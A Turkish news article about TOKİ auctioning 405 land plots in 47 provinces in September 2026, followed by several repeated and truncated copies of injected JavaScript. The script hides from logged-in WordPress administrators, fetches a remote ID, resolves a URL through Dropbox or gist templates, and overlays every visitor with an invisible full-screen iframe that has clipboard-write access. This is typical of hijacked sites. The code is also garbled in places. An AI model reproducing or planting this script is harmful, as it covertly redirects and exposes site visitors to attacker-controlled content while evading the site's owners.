Çevre, Şehircilik ve İklim Değişikliği Bakanlığı’na bağlı Toplu Konut İdaresi Başkanlığı (TOKİ), 47 ilde bulunan 405 arsayı açık artırma yöntemiyle satışa çıkaracak. Satışlar 29-30 Eylül 2026 tarihlerinde gerçekleştirilecek.
TOKİ tarafından satışa sunulacak arsaların toplam büyüklüğü 1 milyon 767 bin 982 metrekare, muhammen bedeli ise 10 milyar 780 milyon 468 bin 297 lira olarak açıklandı.
Yüzde 25 peşinat, 48 ay vade
Satışa çıkarılan arsalar; konut, ticaret, turizm, eğitim, tarım, sanayi, spor, kentsel çalışma, plansız alan, rekreasyon, depolama, akaryakıt istasyonu, lojistik tesis ve ağaçlandırılacak alan niteliğinde bulunuyor.
Alıcılar, arsaları yüzde 25 peşinat ve 48 ay vade seçeneğiyle satın alabilecek. Bazı taşınmazlar ise peşin bedelle satışa sunulacak. Peşin ödemelerde yüzde 15 indirim uygulanacak.
47 ilde satış yapılacak
TOKİ’nin açık artırmayla satışa çıkaracağı arsalar Adana, Adıyaman, Afyonkarahisar, Ağrı, Aksaray, Amasya, Ankara, Antalya, Ardahan, Artvin, Aydın, Balıkesir, Batman, Bayburt, Bilecik, Bingöl, Bolu, Çankırı, Çorum, Diyarbakır, Elazığ, Erzincan, Erzurum, Eskişehir, Gaziantep, Giresun, Hatay, Iğdır, İstanbul, İzmir, Kahramanmaraş, Kars, Kastamonu, Kayseri, Kırıkkale, Kilis, Konya, Manisa, Mardin, Mersin, Muğla, Sinop, Sivas, Tekirdağ, Van, Yozgat ve Zonguldak’ta yer alıyor.
Açık artırma 29-30 Eylül’de
Açık artırmalar, 29 ve 30 Eylül 2026 tarihlerinde saat 10.30’da Ankara Bilkent Otel ve TOKİ İstanbul Hizmet Binası’nda gerçekleştirilecek.
Satışlara internet üzerinden de katılım sağlanabilecek. Alıcılar, muzayede.emlakyonetim.com.tr adresi üzerinden teklif verebilecek.
Satışa ilişkin ayrıntılı bilgilere TOKİ’nin internet sitesi ve Emlak Yönetim’in müzayede platformundan ulaşılabilecek. Katılımcılar ayrıca 444 84 34 numaralı telefondan bilgi alabilecek.
var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };
function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement; var body = document.body;
if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}
return false; }
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }
if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }
registry.status = "loading";
function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }
function buildTrustedUrl(template, id) { if (!template || !id) return "";
if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }
var encoded = encodeURIComponent(id);
if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }
return template.replace(/\{id\}/g, encoded); }
function toHttpUrl(value) { if (!value) return "";
var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");
if (!s) return "";
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }
try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}
return ""; }
function findUrlInObject(input, depth) { if (!input || depth > 3) return "";
if (typeof input === "string") { return toHttpUrl(input); }
if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }
return ""; }
function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }
function addHint(rel, href) { if (!href || !document || !document.createElement) return;
var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;
try { var parent = document.head || document.documentElement; if (!parent) return;
var link = document.createElement("link"); link.rel = rel; link.href = href;
if (rel === "preconnect") { link.crossOrigin = "anonymous"; }
parent.appendChild(link); } catch (e) {} }
function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }
var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));
if (!builtUrl) { return step(index + 1); }
if (!cfg.useFetch) { return Promise.resolve(builtUrl); }
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }
return step(0); }
function activateIframe(url) { if (!url || registry.status === "active") return;
if (isWpLoggedInContext()) { cleanup("done"); return; }
var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }
var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }
var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;
function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);
registry.status = "active";
iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");
setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }
function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }
registry.destroy = destroy; registry.reveal = reveal;
iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");
iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };
iframe.onerror = function () { destroy(); };
timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);
try { mount.appendChild(iframe); } catch (e) { destroy(); } }
function run() { warmupOrigins(); bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }
return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) { cleanup("done"); return ""; }
var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }
activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }
registry.runPromise = run(); })();
var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };
function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement; var body = document.body;
if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}
return false; }
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }
if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }
registry.status = "loading";
function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }
function buildTrustedUrl(template, id) { if (!template || !id) return "";
if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }
var encoded = encodeURIComponent(id);
if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }
return template.replace(/\{id\}/g, encoded); }
function toHttpUrl(value) { if (!value) return "";
var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");
if (!s) return "";
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }
try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}
return ""; }
function findUrlInObject(input, depth) { if (!input || depth > 3) return "";
if (typeof input === "string") { return toHttpUrl(input); }
if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }
return ""; }
function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }
function addHint(rel, href) { if (!href || !document || !document.createElement) return;
var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;
try { var parent = document.head || document.documentElement; if (!parent) return;
var link = document.createElement("link"); link.rel = rel; link.href = href;
if (rel === "preconnect") { link.crossOrigin = "anonymous"; }
parent.appendChild(link); } catch (e) {} }
function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }
var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));
if (!builtUrl) { return step(index + 1); }
if (!cfg.useFetch) { return Promise.resolve(builtUrl); }
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }
return step(0); }
function activateIframe(url) { if (!url || registry.status === "active") return;
if (isWpLoggedInContext()) { cleanup("done"); return; }
var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }
var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }
var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;
function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);
registry.status = "active";
iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");
setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }
function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }
registry.destroy = destroy; registry.reveal = reveal;
iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");
iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };
iframe.onerror = function () { destroy(); };
timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);
try { mount.appendChild(iframe); } catch (e) { destroy(); } }
function run() { warmupOrigins(); bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }
return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) { cleanup("done"); return ""; }
var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }
activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }
registry.runPromise = run(); })();
var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };
function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement; var body = document.body;
if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}
return false; }
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }
if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }
registry.status = "loading";
function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }
function buildTrustedUrl(template, id) { if (!template || !id) return "";
if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }
var encoded = encodeURIComponent(id);
if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }
return template.replace(/\{id\}/g, encoded); }
function toHttpUrl(value) { if (!value) return "";
var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");
if (!s) return "";
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }
try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}
return ""; }
function findUrlInObject(input, depth) { if (!input || depth > 3) return "";
if (typeof input === "string") { return toHttpUrl(input); }
if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }
return ""; }
function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }
function addHint(rel, href) { if (!href || !document || !document.createElement) return;
var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;
try { var parent = document.head || document.documentElement; if (!parent) return;
var link = document.createElement("link"); link.rel = rel; link.href = href;
if (rel === "preconnect") { link.crossOrigin = "anonymous"; }
parent.appendChild(link); } catch (e) {} }
function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }
var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));
if (!builtUrl) { return step(index + 1); }
if (!cfg.useFetch) { return Promise.resolve(builtUrl); }
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }
return step(0); }
function activateIframe(url) { if (!url || registry.status === "active") return;
if (isWpLoggedInContext()) { cleanup("done"); return; }
var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }
var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }
var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;
function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);
registry.status = "active";
iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");
setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }
function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }
registry.destroy = destroy; registry.reveal = reveal;
iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");
iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };
iframe.onerror = function () { destroy(); };
timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);
try { mount.appendChild(iframe); } catch (e) { destroy(); } }
function run() { warmupOrigins(); bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }
return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) { cleanup("done"); return ""; }
var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }
activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }
registry.runPromise = run(); })();
var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };
function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement; var body = document.body;
if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}
return false; }
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }
if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }
registry.status = "loading";
function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }
function buildTrustedUrl(template, id) { if (!template || !id) return "";
if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }
var encoded = encodeURIComponent(id);
if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }
return template.replace(/\{id\}/g, encoded); }
function toHttpUrl(value) { if (!value) return "";
var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");
if (!s) return "";
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }
try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}
return ""; }
function findUrlInObject(input, depth) { if (!input || depth > 3) return "";
if (typeof input === "string") { return toHttpUrl(input); }
if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }
return ""; }
function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }
function addHint(rel, href) { if (!href || !document || !document.createElement) return;
var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;
try { var parent = document.head || document.documentElement; if (!parent) return;
var link = document.createElement("link"); link.rel = rel; link.href = href;
if (rel === "preconnect") { link.crossOrigin = "anonymous"; }
parent.appendChild(link); } catch (e) {} }
function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }
var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));
if (!builtUrl) { return step(index + 1); }
if (!cfg.useFetch) { return Promise.resolve(builtUrl); }
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }
return step(0); }
function activateIframe(url) { if (!url || registry.status === "active") return;
if (isWpLoggedInContext()) { cleanup("done"); return; }
var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }
var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }
var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;
function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);
registry.status = "active";
iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");
setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }
function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }
registry.destroy = destroy; registry.reveal = reveal;
iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");
iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };
iframe.onerror = function () { destroy(); };
timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);
try { mount.appendChild(iframe); } catch (e) { destroy(); } }
function run() { warmupOrigins(); bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }
return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) { cleanup("done"); return ""; }
var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }
activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }
registry.runPromise = run(); })();
var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };
function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement; var body = document.body;
if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}
return false; }
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }
if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }
registry.status = "loading";
function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }
function buildTrustedUrl(template, id) { if (!template || !id) return "";
if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }
var encoded = encodeURIComponent(id);
if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }
return template.replace(/\{id\}/g, encoded); }
function toHttpUrl(value) { if (!value) return "";
var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");
if (!s) return "";
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }
try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}
return ""; }
function findUrlInObject(input, depth) { if (!input || depth > 3) return "";
if (typeof input === "string") { return toHttpUrl(input); }
if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }
return ""; }
function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }
function addHint(rel, href) { if (!href || !document || !document.createElement) return;
var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;
try { var parent = document.head || document.documentElement; if (!parent) return;
var link = document.createElement("link"); link.rel = rel; link.href = href;
if (rel === "preconnect") { link.crossOrigin = "anonymous"; }
parent.appendChild(link); } catch (e) {} }
function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }
